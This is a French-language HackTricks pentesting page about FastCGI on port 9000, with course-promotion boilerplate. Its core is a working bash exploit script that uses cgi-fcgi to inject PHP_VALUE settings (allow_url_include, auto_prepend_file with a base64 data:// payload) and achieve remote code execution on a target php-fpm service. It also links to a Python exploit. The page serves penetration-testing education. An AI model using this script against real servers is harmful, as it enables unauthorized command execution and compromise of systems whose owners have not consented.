9000 - Pentesting FastCGI

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Si vous voulez apprendre ce qu'est FastCGI, consultez la page suivante :

disable_functions bypass - php-fpm/FastCGI

Par défaut, FastCGI s'exécute sur le port 9000 et n'est pas reconnu par nmap. Généralement, FastCGI n'écoute que sur localhost.

RCE

Il est assez facile de faire exécuter du code arbitraire par FastCGI :

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

ou pouvez également utiliser le script Python suivant : https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Last updated